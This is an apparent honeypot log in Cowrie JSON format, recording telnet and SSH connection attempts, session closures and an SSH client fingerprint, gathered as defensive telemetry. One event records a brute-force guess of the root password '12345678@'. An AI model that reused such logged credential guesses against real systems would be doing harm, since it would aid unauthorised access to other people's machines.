{"eventid":"cowrie.session.closed","duration":31.526246786117554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:40.204260Z","src_ip":"174.142.104.49","session":"5c56df75c69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52234,"dst_ip":"159.203.135.109","dst_port":23,"session":"9824e495a8ac","protocol":"telnet","message":"New connection: 174.142.104.49:52234 (159.203.135.109:23) [session: 9824e495a8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:40.489763Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58908,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bc17aee5b5d","protocol":"telnet","message":"New connection: 174.142.104.49:58908 (159.203.135.109:23) [session: 8bc17aee5b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:41.219681Z"}
{"eventid":"cowrie.session.closed","duration":31.067135334014893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:41.768079Z","src_ip":"174.142.104.49","session":"467e1e6b32cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60586,"dst_ip":"159.203.135.109","dst_port":23,"session":"32ddebc035fc","protocol":"telnet","message":"New connection: 174.142.104.49:60586 (159.203.135.109:23) [session: 32ddebc035fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:42.145602Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58820,"dst_ip":"159.203.135.109","dst_port":23,"session":"301cfaf76871","protocol":"telnet","message":"New connection: 161.132.53.68:58820 (159.203.135.109:23) [session: 301cfaf76871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:42.948178Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34342,"dst_ip":"159.203.135.109","dst_port":23,"session":"6827802429a4","protocol":"telnet","message":"New connection: 174.142.104.49:34342 (159.203.135.109:23) [session: 6827802429a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:43.337735Z"}
{"eventid":"cowrie.session.closed","duration":29.94605326652527,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:43.635515Z","src_ip":"174.142.104.49","session":"d1d032849f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87909722328186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:43.887095Z","src_ip":"174.142.104.49","session":"84ad6635bc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58828,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed71ed4ee6ba","protocol":"telnet","message":"New connection: 161.132.53.68:58828 (159.203.135.109:23) [session: ed71ed4ee6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:43.895390Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35522,"dst_ip":"159.203.135.109","dst_port":23,"session":"2970666e8b78","protocol":"telnet","message":"New connection: 174.142.104.49:35522 (159.203.135.109:23) [session: 2970666e8b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:43.931812Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41772,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f8156f235b7","protocol":"telnet","message":"New connection: 174.142.104.49:41772 (159.203.135.109:23) [session: 4f8156f235b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:46.365442Z"}
{"eventid":"cowrie.session.closed","duration":31.12295174598694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:46.692766Z","src_ip":"174.142.104.49","session":"648be2d11708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38526,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ebb12c53ca","protocol":"telnet","message":"New connection: 161.132.53.68:38526 (159.203.135.109:23) [session: d5ebb12c53ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:46.919481Z"}
{"eventid":"cowrie.session.closed","duration":30.913506746292114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:47.331816Z","src_ip":"174.142.104.49","session":"45fdec4c161e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851529121398926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:47.496188Z","src_ip":"161.132.53.68","session":"360d9b282221","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99936079978943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:47.647211Z","src_ip":"161.132.53.68","session":"c4c942f73b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38536,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac8d55093c0e","protocol":"telnet","message":"New connection: 161.132.53.68:38536 (159.203.135.109:23) [session: ac8d55093c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:48.012425Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34732,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5e9e0f0bcd4","protocol":"telnet","message":"New connection: 174.142.104.49:34732 (159.203.135.109:23) [session: c5e9e0f0bcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:48.553733Z"}
{"eventid":"cowrie.session.closed","duration":0.004003047943115234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:48.557611Z","src_ip":"174.142.104.49","session":"c5e9e0f0bcd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45812,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e5a34e4fd5","protocol":"telnet","message":"New connection: 174.142.104.49:45812 (159.203.135.109:23) [session: 95e5a34e4fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:48.626083Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":55578,"dst_ip":"10.17.0.5","dst_port":22,"session":"60c4ea069ea9","protocol":"ssh","message":"New connection: 220.119.37.141:55578 (10.17.0.5:22) [session: 60c4ea069ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:49.172680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:49.177343Z","src_ip":"220.119.37.141","session":"60c4ea069ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:49.380538Z","src_ip":"220.119.37.141","session":"60c4ea069ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00195455551147,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:49.643504Z","src_ip":"174.142.104.49","session":"574eef691159","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678@","message":"login attempt [root/12345678@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:50.221791Z","src_ip":"220.119.37.141","session":"60c4ea069ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:51.429812Z","src_ip":"220.119.37.141","session":"60c4ea069ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50500,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eac264c5583","protocol":"telnet","message":"New connection: 174.142.104.49:50500 (159.203.135.109:23) [session: 2eac264c5583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:51.465832Z"}
{"eventid":"cowrie.session.closed","duration":0.013972997665405273,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:51.479685Z","src_ip":"174.142.104.49","session":"2eac264c5583","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630980253219604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:51.765150Z","src_ip":"174.142.104.49","session":"e83d68a0ba71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48353,"dst_ip":"159.203.135.109","dst_port":23,"session":"925b43523b94","protocol":"telnet","message":"New connection: 174.142.104.49:48353 (159.203.135.109:23) [session: 925b43523b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:52.073570Z"}
{"eventid":"cowrie.session.closed","duration":31.79634952545166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:52.195881Z","src_ip":"174.142.104.49","session":"cc617af2c321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.63703775405884,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:52.438566Z","src_ip":"174.142.104.49","session":"5e3efcd5ee53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.11284255981445,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:53.416847Z","src_ip":"174.142.104.49","session":"3434cb6f4fe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50866,"dst_ip":"159.203.135.109","dst_port":23,"session":"a82261e4bdb0","protocol":"telnet","message":"New connection: 174.142.104.49:50866 (159.203.135.109:23) [session: a82261e4bdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:54.470774Z"}
{"eventid":"cowrie.session.closed","duration":57.853142976760864,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:54.777676Z","src_ip":"174.142.104.49","session":"6e7d798ed246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59278,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c9d93d420de","protocol":"telnet","message":"New connection: 174.142.104.49:59278 (159.203.135.109:23) [session: 1c9d93d420de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:55.165795Z"}
{"eventid":"cowrie.session.closed","duration":0.005331754684448242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:55.171006Z","src_ip":"174.142.104.49","session":"1c9d93d420de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.406103134155273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:55.737042Z","src_ip":"174.142.104.49","session":"f987567c72d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38538,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c0a9cb7ee89","protocol":"telnet","message":"New connection: 161.132.53.68:38538 (159.203.135.109:23) [session: 5c0a9cb7ee89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:55.841603Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55336,"dst_ip":"159.203.135.109","dst_port":23,"session":"05263b9041fe","protocol":"telnet","message":"New connection: 174.142.104.49:55336 (159.203.135.109:23) [session: 05263b9041fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:55.881774Z"}
{"eventid":"cowrie.session.closed","duration":30.548360347747803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:56.706654Z","src_ip":"174.142.104.49","session":"7599ce6d4df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.408954620361328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:56.974334Z","src_ip":"174.142.104.49","session":"aa3d86f22fc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55708384513855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:57.814222Z","src_ip":"174.142.104.49","session":"7c8193b1d203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91968059539795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:57.861270Z","src_ip":"161.132.53.68","session":"1868b4a4c09d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.36.229.122","src_port":28180,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd9c1b60608","protocol":"ssh","message":"New connection: 102.36.229.122:28180 (159.203.135.109:22) [session: 6fd9c1b60608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:58.108053Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:58.491321Z","src_ip":"102.36.229.122","session":"6fd9c1b60608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38670,"dst_ip":"159.203.135.109","dst_port":23,"session":"744d9497c14b","protocol":"telnet","message":"New connection: 161.132.53.68:38670 (159.203.135.109:23) [session: 744d9497c14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:59.490322Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60896,"dst_ip":"159.203.135.109","dst_port":23,"session":"afded1d9c234","protocol":"telnet","message":"New connection: 174.142.104.49:60896 (159.203.135.109:23) [session: afded1d9c234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:59.882705Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36582,"dst_ip":"159.203.135.109","dst_port":23,"session":"57b26859e52e","protocol":"telnet","message":"New connection: 174.142.104.49:36582 (159.203.135.109:23) [session: 57b26859e52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:00.010606Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38678,"dst_ip":"159.203.135.109","dst_port":23,"session":"205bce02b591","protocol":"telnet","message":"New connection: 161.132.53.68:38678 (159.203.135.109:23) [session: 205bce02b591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:00.022745Z"}
{"eventid":"cowrie.session.closed","duration":31.9252610206604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:00.155813Z","src_ip":"174.142.104.49","session":"62d1c6a63996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.98989272117615,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:00.245889Z","src_ip":"174.142.104.49","session":"3b4689ab511d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39304,"dst_ip":"159.203.135.109","dst_port":23,"session":"7671c1f197b2","protocol":"telnet","message":"New connection: 174.142.104.49:39304 (159.203.135.109:23) [session: 7671c1f197b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:00.616017Z"}
{"eventid":"cowrie.session.closed","duration":30.97153902053833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:02.315342Z","src_ip":"174.142.104.49","session":"57216bb71075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.052297830581665,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:02.357638Z","src_ip":"104.245.105.2","session":"acecd71c76a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38690,"dst_ip":"159.203.135.109","dst_port":23,"session":"f87b78fc178c","protocol":"telnet","message":"New connection: 161.132.53.68:38690 (159.203.135.109:23) [session: f87b78fc178c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:02.560303Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43306,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c70fb6c9fc3","protocol":"telnet","message":"New connection: 174.142.104.49:43306 (159.203.135.109:23) [session: 7c70fb6c9fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:02.822951Z"}
{"eventid":"cowrie.session.closed","duration":30.96038293838501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:03.366635Z","src_ip":"174.142.104.49","session":"37ea554f339f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44270,"dst_ip":"159.203.135.109","dst_port":23,"session":"cebdfffdbef6","protocol":"telnet","message":"New connection: 174.142.104.49:44270 (159.203.135.109:23) [session: cebdfffdbef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:04.361670Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46164,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2c9400d90fd","protocol":"telnet","message":"New connection: 174.142.104.49:46164 (159.203.135.109:23) [session: c2c9400d90fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:04.547841Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38692,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbaab5fe2e82","protocol":"telnet","message":"New connection: 161.132.53.68:38692 (159.203.135.109:23) [session: fbaab5fe2e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:04.557437Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38702,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ab1d875968","protocol":"telnet","message":"New connection: 161.132.53.68:38702 (159.203.135.109:23) [session: 43ab1d875968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:05.034283Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46670,"dst_ip":"159.203.135.109","dst_port":23,"session":"73ee02f9f59c","protocol":"telnet","message":"New connection: 174.142.104.49:46670 (159.203.135.109:23) [session: 73ee02f9f59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:05.844635Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50968,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f95287017f6","protocol":"telnet","message":"New connection: 174.142.104.49:50968 (159.203.135.109:23) [session: 8f95287017f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:06.825602Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49240,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0d8ad653761","protocol":"telnet","message":"New connection: 174.142.104.49:49240 (159.203.135.109:23) [session: f0d8ad653761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:07.246686Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50868,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b7d67f96b97","protocol":"telnet","message":"New connection: 174.142.104.49:50868 (159.203.135.109:23) [session: 9b7d67f96b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:07.251464Z"}
{"eventid":"cowrie.session.closed","duration":41.95650339126587,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:07.271689Z","src_ip":"174.142.104.49","session":"038d441b5e2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52022,"dst_ip":"159.203.135.109","dst_port":23,"session":"b06b64d6a193","protocol":"telnet","message":"New connection: 174.142.104.49:52022 (159.203.135.109:23) [session: b06b64d6a193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:07.943560Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43186,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4407c7c4c87","protocol":"telnet","message":"New connection: 161.132.53.68:43186 (159.203.135.109:23) [session: d4407c7c4c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:08.529148Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48400,"dst_ip":"159.203.135.109","dst_port":23,"session":"f148d6a631a6","protocol":"telnet","message":"New connection: 174.142.104.49:48400 (159.203.135.109:23) [session: f148d6a631a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:08.777571Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53530,"dst_ip":"159.203.135.109","dst_port":23,"session":"66c7cf69e5c1","protocol":"telnet","message":"New connection: 174.142.104.49:53530 (159.203.135.109:23) [session: 66c7cf69e5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:08.862330Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43198,"dst_ip":"159.203.135.109","dst_port":23,"session":"3069c519c9b5","protocol":"telnet","message":"New connection: 161.132.53.68:43198 (159.203.135.109:23) [session: 3069c519c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:09.305145Z"}
{"eventid":"cowrie.session.closed","duration":43.843292474746704,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:09.452763Z","src_ip":"174.142.104.49","session":"880f33aa579f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54716,"dst_ip":"159.203.135.109","dst_port":23,"session":"346e220d3527","protocol":"telnet","message":"New connection: 174.142.104.49:54716 (159.203.135.109:23) [session: 346e220d3527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:43:09.552241Z"}
